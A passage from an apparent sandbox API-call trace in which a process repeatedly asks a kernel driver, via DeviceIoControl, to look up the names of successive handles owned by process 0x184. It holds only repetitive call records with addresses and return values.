hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.242] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.242] PsAcquireProcessExitSynchronization () returned 0x0 [0121.242] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.242] ObReferenceObjectByHandle (in: Handle=0x500, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001f93d20, HandleInformation=0x0) returned 0x0 [0121.242] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.243] PsReleaseProcessExitSynchronization () returned 0x2 [0121.243] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.243] ObQueryNameString (in: Object=0xfffff8a001f93d20, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.243] ObfDereferenceObject (Object=0xfffff8a001f93d20) returned 0x1 [0121.243] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.243] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.243] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.243] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.243] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.243] PsAcquireProcessExitSynchronization () returned 0x0 [0121.243] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.243] ObReferenceObjectByHandle (in: Handle=0x510, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a002051790, HandleInformation=0x0) returned 0x0 [0121.243] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.243] PsReleaseProcessExitSynchronization () returned 0x2 [0121.243] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.243] ObQueryNameString (in: Object=0xfffff8a002051790, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.243] ObfDereferenceObject (Object=0xfffff8a002051790) returned 0x1 [0121.243] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.243] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.243] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.243] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.243] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.243] PsAcquireProcessExitSynchronization () returned 0x0 [0121.243] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.243] ObReferenceObjectByHandle (in: Handle=0x520, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a002051060, HandleInformation=0x0) returned 0x0 [0121.243] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.243] PsReleaseProcessExitSynchronization () returned 0x2 [0121.243] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.243] ObQueryNameString (in: Object=0xfffff8a002051060, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.243] ObfDereferenceObject (Object=0xfffff8a002051060) returned 0x1 [0121.243] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.244] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.244] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.244] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.244] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.244] PsAcquireProcessExitSynchronization () returned 0x0 [0121.244] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.244] ObReferenceObjectByHandle (in: Handle=0x530, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0020364c0, HandleInformation=0x0) returned 0x0 [0121.244] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.244] PsReleaseProcessExitSynchronization () returned 0x2 [0121.244] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.244] ObQueryNameString (in: Object=0xfffff8a0020364c0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.244] ObfDereferenceObject (Object=0xfffff8a0020364c0) returned 0x1 [0121.244] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.244] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.244] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.244] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.244] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.244] PsAcquireProcessExitSynchronization () returned 0x0 [0121.244] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.244] ObReferenceObjectByHandle (in: Handle=0x540, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001fcdcd0, HandleInformation=0x0) returned 0x0 [0121.244] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.244] PsReleaseProcessExitSynchronization () returned 0x2 [0121.244] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.244] ObQueryNameString (in: Object=0xfffff8a001fcdcd0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.244] ObfDereferenceObject (Object=0xfffff8a001fcdcd0) returned 0x1 [0121.244] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.244] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.244] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.244] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.244] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.244] PsAcquireProcessExitSynchronization () returned 0x0 [0121.244] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.245] ObReferenceObjectByHandle (in: Handle=0x550, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00205a450, HandleInformation=0x0) returned 0x0 [0121.245] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.245] PsReleaseProcessExitSynchronization () returned 0x2 [0121.245] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.245] ObQueryNameString (in: Object=0xfffff8a00205a450, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.245] ObfDereferenceObject (Object=0xfffff8a00205a450) returned 0x1 [0121.245] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.245] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.245] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.245] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.245] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.245] PsAcquireProcessExitSynchronization () returned 0x0 [0121.245] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.245] ObReferenceObjectByHandle (in: Handle=0x560, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0020737a0, HandleInformation=0x0) returned 0x0 [0121.245] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.245] PsReleaseProcessExitSynchronization () returned 0x2 [0121.245] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.245] ObQueryNameString (in: Object=0xfffff8a0020737a0, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.245] ObfDereferenceObject (Object=0xfffff8a0020737a0) returned 0x1 [0121.245] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.245] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.245] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.245] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.245] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.245] PsAcquireProcessExitSynchronization () returned 0x0 [0121.245] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.246] ObReferenceObjectByHandle (in: Handle=0x570, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001fdcca0, HandleInformation=0x0) returned 0x0 [0121.246] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.246] PsReleaseProcessExitSynchronization () returned 0x2 [0121.246] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.246] ObQueryNameString (in: Object=0xfffff8a001fdcca0, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.246] ObfDereferenceObject (Object=0xfffff8a001fdcca0) returned 0x1 [0121.246] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.246] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.246] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.246] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.246] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.246] PsAcquireProcessExitSynchronization () returned 0x0 [0121.246] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.246] ObReferenceObjectByHandle (in: Handle=0x580, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001fe2c00, HandleInformation=0x0) returned 0x0 [0121.246] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.246] PsReleaseProcessExitSynchronization () returned 0x2 [0121.246] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.246] ObQueryNameString (in: Object=0xfffff8a001fe2c00, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.246] ObfDereferenceObject (Object=0xfffff8a001fe2c00) returned 0x1 [0121.246] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.246] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.246] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.246] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.246] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.246] PsAcquireProcessExitSynchronization () returned 0x0 [0121.246] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.246] ObReferenceObjectByHandle (in: Handle=0x58c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00206a060, HandleInformation=0x0) returned 0x0 [0121.246] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.246] PsReleaseProcessExitSynchronization () returned 0x2 [0121.246] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.246] ObQueryNameString (in: Object=0xfffff8a00206a060, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.246] ObfDereferenceObject (Object=0xfffff8a00206a060) returned 0x1 [0121.246] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.247] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.247] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.247] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.247] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.247] PsAcquireProcessExitSynchronization () returned 0x0 [0121.247] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.247] ObReferenceObjectByHandle (in: Handle=0x59c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a002069520, HandleInformation=0x0) returned 0x0 [0121.247] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.247] PsReleaseProcessExitSynchronization () returned 0x2 [0121.247] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.247] ObQueryNameString (in: Object=0xfffff8a002069520, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.247] ObfDereferenceObject (Object=0xfffff8a002069520) returned 0x1 [0121.247] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.247] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.247] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.247] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.247] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.247] PsAcquireProcessExitSynchronization () returned 0x0 [0121.247] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.247] ObReferenceObjectByHandle (in: Handle=0x5ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a002070490, HandleInformation=0x0) returned 0x0 [0121.247] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.247] PsReleaseProcessExitSynchronization () returned 0x2 [0121.247] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.247] ObQueryNameString (in: Object=0xfffff8a002070490, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.247] ObfDereferenceObject (Object=0xfffff8a002070490) returned 0x1 [0121.247] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.247] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.247] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.247] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.247] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.247] PsAcquireProcessExitSynchronization () returned 0x0 [0121.247] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.247] ObReferenceObjectByHandle (in: Handle=0x5bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a002061800, HandleInformation=0x0) returned 0x0 [0121.247] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.248] PsReleaseProcessExitSynchronization () returned 0x2 [0121.248] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.248] ObQueryNameString (in: Object=0xfffff8a002061800, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.248] ObfDereferenceObject (Object=0xfffff8a002061800) returned 0x1 [0121.248] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.248] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.248] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.248] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.248] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.248] PsAcquireProcessExitSynchronization () returned 0x0 [0121.248] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.248] ObReferenceObjectByHandle (in: Handle=0x5cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a002069140, HandleInformation=0x0) returned 0x0 [0121.248] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.248] PsReleaseProcessExitSynchronization () returned 0x2 [0121.248] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.248] ObQueryNameString (in: Object=0xfffff8a002069140, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.248] ObfDereferenceObject (Object=0xfffff8a002069140) returned 0x1 [0121.248] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.248] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.248] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.248] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.248] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.248] PsAcquireProcessExitSynchronization () returned 0x0 [0121.248] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.248] ObReferenceObjectByHandle (in: Handle=0x5dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0020493d0, HandleInformation=0x0) returned 0x0 [0121.248] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0121.248] PsReleaseProcessExitSynchronization () returned 0x2 [0121.248] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x138 [0121.248] ObQueryNameString (in: Object=0xfffff8a0020493d0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88004435550) returned 0x0 [0121.248] ObfDereferenceObject (Object=0xfffff8a0020493d0) returned 0x1 [0121.248] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0121.248] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb15e0 | out: hHeap=0x240000) returned 1 [0121.248] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb15e0 [0121.248] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb15e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0121.249] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0121.249] PsAcquireProcessExitSynchronization () returned 0x0 [0121.249] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880044355d0) [0121.249] ObReferenceObjectByHandle (in: Handle=0x5ec, DesiredAccess=0x0, 